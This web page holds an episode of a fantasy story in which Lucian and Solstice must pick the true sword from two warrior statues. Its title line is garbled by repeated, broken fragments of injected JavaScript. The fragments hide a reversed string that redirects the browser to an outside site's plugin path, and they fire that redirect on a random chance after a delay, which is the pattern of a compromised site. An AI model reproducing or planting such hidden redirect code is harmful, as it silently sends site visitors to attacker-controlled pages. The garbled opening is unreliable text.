Thon 46: Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Part XX

Lucian drew in a breath and pushes in the hand hidden within the grain. He turned is back, dragging Solstice close to him to protect her in case he was wrong. This was his call. He had not waited for her input on this one. He frowns, hearing nothing suspicious, just a click. He turns, blinking. “I was right.”

“So you were, Lucian. So you were.” She smiles, moving toward the door. Together, they pull it open and step inside. Solstice lifts her torch up, illuminating the room behind the door. A brow lofts. “Interesting.”

“How – odd.” He frowns. The room seemed to be completely empty, save for a pair of statues at the opposite end of the room. Each was the image of a warrior and carried a sword. A true sword, not a stone one. “Which one do we choose?”

“I suspect this is where the ‘true of heart’ portion makes itself known, Lucian. Only the true of heart can see the sword. Meaning, only the true of heart can tell which is the artifact and which is just a sword.” She moves closer to him, tipping her head to one side. Her lips curve faintly as she looks them over. “They look like you.”

“They do not.” Lucian grumbles, stepping forward.

“Oh, they do.” She grins at him. “Look at the set of the chin and jawline, the build and height. They must have been modeled after someone in your family.” Solstice moves forward, resting a hand against the statue on the left. “It’s warm. He almost feels – alive.” Her eyes widen. She steps back, looking at the two. She rests a hand on the other one. “This one as well.”

“So, I need to choose?” Lucian frowns at this. “Solstice, I hate to ask, but we really need to know this – can you see anything?” Lucian turns to look at her.

“It doesn’t exactly work that way, Lucian. I do not call it on – ” She gasps, her eyes closing. She stumbles forward, dropping her torch. Lucian moves forward, catching her about the waist, holding her upright.

“What is it you see?” He frowns, holding her gently.

“Two futures. Very divergent. I am of no help. I only see what happens after you choose. I cannot see the actual choosing.” She shudders, breathing deeply.

“Thank you anyway, Solstice. Let me guess. In one vision, I choose poorly – and Ryall gains control of the artifact. My entire kingdom is swept under the tide of his army. I am either killed or taken captive, to rot in his prison so he may laugh and gloat.” He looks at her carefully. “In the other vision, I choose wisely – and Ryall falls. He is no longer a thread to my kingdom and we begin to prosper once more.” He crouches, helping her sit on the ground. “How am I doing?”

“Surprisingly well.” She chuckles softly, shaking her head. “You must choose, Lucian. Please – choose wisely. For the sake of an entire kingdom….”